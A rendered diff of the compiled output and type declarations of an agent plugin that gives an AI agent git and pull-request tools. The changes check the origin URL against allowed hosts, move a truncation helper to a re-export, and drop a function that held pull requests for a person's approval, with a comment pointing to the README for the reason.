+
// tell the model to clone the repository first — advice that is actively
|
|
497
|
+
// wrong when the truth is that no command ran at all.
|
|
498
|
+
if (result.unreachable)
|
|
499
|
+
return { unreachable: result.stderr };
|
|
500
|
+
if (!result.success)
|
|
501
|
+
return {};
|
|
502
|
+
const url = result.stdout.trim();
|
|
503
|
+
const location = repoLocation(url);
|
|
504
|
+
if (!location || !allowedHosts.includes(location.host))
|
|
505
|
+
return {};
|
|
506
|
+
// The URL as well as the host: the credentialed operations run on the
|
|
507
|
+
// host's side of the boundary and take the repository as a parameter, so
|
|
508
|
+
// `origin` is a name that means nothing to them. The URL has to travel —
|
|
509
|
+
// canonicalised, since what git hands back is whatever was written into
|
|
510
|
+
// `.git/config`.
|
|
511
|
+
return { remote: { host: location.host, url: location.url } };
|
|
512
|
+
};
|
|
513
|
+
return {
|
|
514
|
+
config,
|
|
515
|
+
workdir,
|
|
516
|
+
author,
|
|
517
|
+
allowedHosts,
|
|
518
|
+
bounded,
|
|
519
|
+
notifyCheckout,
|
|
520
|
+
logFailure,
|
|
521
|
+
plain,
|
|
522
|
+
runGit,
|
|
523
|
+
fetchOrigin,
|
|
524
|
+
pushBranch,
|
|
525
|
+
origin,
|
|
526
|
+
forge,
|
|
527
|
+
forgeGraphql,
|
|
528
|
+
forgeRepo
|
|
529
|
+
};
|
|
530
|
+
}
|
package/dist/repo/index.d.ts
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import type { ToolSet } from "ai";
|
|
2
|
-
import type { AgentPlugin
|
|
2
|
+
import type { AgentPlugin } from "@dynamicagents/core";
|
|
3
3
|
/**
|
|
4
4
|
* The URL parsing, re-exported from the one entry point.
|
|
5
5
|
*
|
|
@@ -8,6 +8,7 @@ import type { AgentPlugin, MainAgentToolApproval } from "@dynamicagents/core";
|
|
|
8
8
|
* though it is implemented in `url.ts`.
|
|
9
9
|
*/
|
|
10
10
|
export { parseRepo } from "./url.js";
|
|
11
|
+
export { graphqlEndpoint, truncateOutput } from "./context.js";
|
|
11
12
|
/**
|
|
12
13
|
* `@dynamicagents/plugins/repo` — clone, commit, push, open a pull request.
|
|
13
14
|
*
|
|
@@ -116,7 +117,8 @@ export type RepoExec = (command: string, options?: {
|
|
|
116
117
|
* branch that does not resolve, a repository that is not there — all of it comes
|
|
117
118
|
* back as `ok: false`, because those are answers. A rejection means the host
|
|
118
119
|
* itself could not be reached, which is a different fact and gets a different
|
|
119
|
-
* sentence from every tool in this file. See
|
|
120
|
+
* sentence from every tool in this file. See
|
|
121
|
+
* {@link file://./context.ts RunResult}.
|
|
120
122
|
*/
|
|
121
123
|
export interface RepoGit {
|
|
122
124
|
/**
|
|
@@ -292,36 +294,11 @@ export interface RepoCheckout {
|
|
|
292
294
|
/** True for a first clone, false when an existing tree was refreshed. */
|
|
293
295
|
fresh: boolean;
|
|
294
296
|
}
|
|
295
|
-
/**
|
|
296
|
-
* Middle-out truncation, so both the head of a diff and its tail survive.
|
|
297
|
-
*
|
|
298
|
-
* Deliberately a **copy** of the computer plugin's function of the same name,
|
|
299
|
-
* not an import. `npm run verify:exports` fails any subpath whose module graph
|
|
300
|
-
* reaches a sibling's directory, and its own advice for a shared helper is to
|
|
301
|
-
* duplicate it — installing `repo` must not drag `computer` (and therefore
|
|
302
|
-
* `@cloudflare/computer`) into a consumer's bundle. Fifteen lines is a cheaper
|
|
303
|
-
* price than that coupling, and it is the same reason `exec` is injected here
|
|
304
|
-
* rather than imported.
|
|
305
|
-
*
|
|
306
|
-
* The `half < 1` guard is not padding: without it a small `max` makes `half`
|
|
307
|
-
* zero or negative, and `slice(-0)` is `slice(0)` — the whole string — so the
|
|
308
|
-
* function would return *more* than it was given.
|
|
309
|
-
*/
|
|
310
|
-
export declare function truncateOutput(text: string, max: number): string;
|
|
311
297
|
export declare function buildRepoTools(config: RepoConfig,
|
|
312
298
|
/** Forwarded to every `exec`; see {@link RepoExec}'s `runtime` option. */
|
|
313
299
|
runtime?: unknown): ToolSet;
|
|
314
300
|
/**
|
|
315
|
-
*
|
|
316
|
-
*
|
|
317
|
-
*
|
|
318
|
-
* The reason is what the person reads beside Approve and Reject, so it says what
|
|
319
|
-
* the call will do in their terms: which repository, from which branch into
|
|
320
|
-
* which, and under what title. The repository is the checkout's origin, read
|
|
321
|
-
* through the same lookup the tool runs, so a directory named after one
|
|
322
|
-
* repository cannot present a pull request on another. The input has already
|
|
323
|
-
* passed the tool's own schema. What a rule is, and whose calls it covers, is
|
|
324
|
-
* core's to say — see `AgentPlugin.mainAgentToolApproval`.
|
|
301
|
+
* No tool here is held for a person's approval — see this plugin's README for
|
|
302
|
+
* why, and for what a fork that wants one does instead.
|
|
325
303
|
*/
|
|
326
|
-
export declare function repoToolApproval(config: RepoConfig): MainAgentToolApproval;
|
|
327
304
|
export declare function repo(config: RepoConfig): AgentPlugin;
|